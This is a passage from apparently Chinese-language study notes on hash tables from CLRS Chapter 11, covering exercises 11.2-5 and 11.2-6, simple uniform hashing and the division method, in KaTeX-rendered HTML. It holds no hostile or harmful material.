style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span>. Show that if the keys are drawn from a universe <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi></mrow><annotation encoding="application/x-tex">U</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span></span></span></span> with <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>U</mi><mi mathvariant="normal">∣</mi><mo>&gt;</mo><mi>n</mi><mi>m</mi></mrow><annotation encoding="application/x-tex">|U| \gt nm</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">nm</span></span></span></span>,then <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi></mrow><annotation encoding="application/x-tex">U</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span></span></span></span> hasasubset of size n consisting of keys that all hash to the same slot, so that the worst-case searching time for hashing with chaining is <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>.</p><p>假设我们将一组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个键存储在一个大小为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 的哈希表中。请证明：如果这些键是从一个全集 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi></mrow><annotation encoding="application/x-tex">U</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span></span></span></span> 中提取的，且 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>U</mi><mi mathvariant="normal">∣</mi><mo>&gt;</mo><mi>n</mi><mi>m</mi></mrow><annotation encoding="application/x-tex">|U| &gt; nm</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">nm</span></span></span></span>，那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi></mrow><annotation encoding="application/x-tex">U</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span></span></span></span> 中必然存在一个大小为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 的子集，其包含的键全部哈希到同一个槽位中，从而使得链地址法哈希的最坏情况查找时间为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>。</p></blockquote><p>设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>U</mi><mi>j</mi></msub><mo>=</mo><mo stretchy="false">{</mo><mi>x</mi><mo>∈</mo><mi>U</mi><mo>∣</mo><mi>h</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mi>j</mi><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">U_j = \{x∈U∣h(x)=j\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">}</span></span></span></span>，那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mo>∑</mo><mrow><mi>j</mi><mo>=</mo><mn>1</mn></mrow><mi>m</mi></msubsup><msub><mi>U</mi><mi>j</mi></msub><mo>=</mo><mi mathvariant="normal">∣</mi><mi>U</mi><mi mathvariant="normal">∣</mi><mo>&gt;</mo><mi>n</mi><mi>m</mi></mrow><annotation encoding="application/x-tex"> \sum_{j=1}^{m} U_j = |U| \gt nm</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2401em;vertical-align:-0.4358em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8043em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.2029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4358em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">nm</span></span></span></span></p><p>那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>E</mi><mo stretchy="false">(</mo><mi mathvariant="normal">∣</mi><msub><mi>U</mi><mi>j</mi></msub><mi mathvariant="normal">∣</mi><mo stretchy="false">)</mo><mo>=</mo><mfrac><mrow><msubsup><mo>∑</mo><mrow><mi>j</mi><mo>=</mo><mn>1</mn></mrow><mi>m</mi></msubsup><msub><mi>U</mi><mi>j</mi></msub></mrow><mi>m</mi></mfrac><mo>&gt;</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">E(|U_j|) = \frac{\sum_{j=1}^{m} U_j}{m} \gt n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">(</span><span class="mord">∣</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.5022em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1572em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.6322em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mop op-symbol small-op mtight" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7385em;"><span style="top:-2.1786em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4603em;"><span></span></span></span></span></span></span><span class="mspace mtight" style="margin-right:0.1952em;"></span><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">U</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:-0.109em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2819em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，显然存在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><msub><mi>U</mi><mi>j</mi></msub><mi mathvariant="normal">∣</mi><mo>&gt;</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">|U_j| \gt n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord">∣</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span></p><p>所以确实存在大小为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 的子集，全部映射到同一个槽。</p><blockquote><p>11.2-6<br />Suppose wehave stored <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> keys in ahash table of size <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span>, with collisions resolved by chaining, and that we know the length of each chain, including the length <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> of the longest chain. Describe a procedure that selects a key uniformly at random from among the keys in the hash table and returns it in expected time <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>L</mi><mo>⋅</mo><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mfrac><mn>1</mn><mi>α</mi></mfrac><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(L \cdot (1 + \frac{1}{\alpha}))</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">L</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0037em;">α</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">))</span></span></span></span>.</p><p>假设我们已将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个键存储在一个大小为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 的哈希表中，通过链地址法解决冲突，并且已知每个链表的长度，包括最长链表的长度 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span>。请描述一个算法过程，该过程从哈希表的键中等概率随机选择一个键并返回，其期望运行时间为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>L</mi><mo>⋅</mo><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mfrac><mn>1</mn><mi>α</mi></mfrac><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(L \cdot (1 + \frac{1}{\alpha}))</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">L</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0037em;">α</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">))</span></span></span></span>（其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>=</mo><mfrac><mi>n</mi><mi>m</mi></mfrac></mrow><annotation encoding="application/x-tex">\alpha = \frac{n}{m}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0404em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>）。</p></blockquote><p>查到是类似蒙特卡洛拒绝采样，IGNORED</p><h2 id="hash-functions"><a class="markdownIt-Anchor" href="#hash-functions"></a> Hash functions</h2><blockquote><p>A good hash function satisfies (approximately) the assumption of simple uniform hashing: each key is equally likely to hash to any of the m slots, independently of where any other key has hashed to.</p><p>一个好的哈希函数应（尽可能）满足简单均匀散列假设：每个键等可能映射到任意槽位，且与其他键映射到哪个槽位无关</p></blockquote><p>哈希表的性能主要取决于<strong>冲突的分布情况</strong>。在满足简单均匀散列假设的前提下，对于任意大小为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 的键子集，哈希值在槽位间均匀分布，保证<strong>期望搜索时间</strong>为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>。</p><p>然而在实际应用中，输入键往往并非从全域中均匀随机选取，而是可能包含特定模式或高度相似的数据。这意味着哈希函数的设计必须在输入键非常相似或存在规律时，也能将其映射为截然不同的哈希值。</p><h3 id="interpreting-keys-as-natural-numbers"><a class="markdownIt-Anchor" href="#interpreting-keys-as-natural-numbers"></a> Interpreting keys as natural numbers</h3><p>数组索引只能是自然数，但键可能是字符串，需要将其转为自然数。可以用 ASCII 或者 UTF-8 等。</p><h3 id="the-division-method"><a class="markdownIt-Anchor" href="#the-division-method"></a> The division method</h3><p>简而言之就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mi>k</mi><mspace></mspace><mspace width="0.6667em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>m</mi></mrow><annotation encoding="application/x-tex">h(k) = k \mod m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span>。</p><p>重点在于如何选取 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span>。书中提到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mo>=</mo><msup><mn>2</mn><mi>p</mi></msup></mrow><annotation encoding="application/x-tex">m = 2^p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span></span></span></span></span></span></span></span> 时，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h(k)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span></span></span></span> 实际上就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 的二进制表示的低 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 位数字；<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mo>=</mo><msup><mn>2</mn><mi>p</mi></msup><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">m = 2^p - 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7477em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span 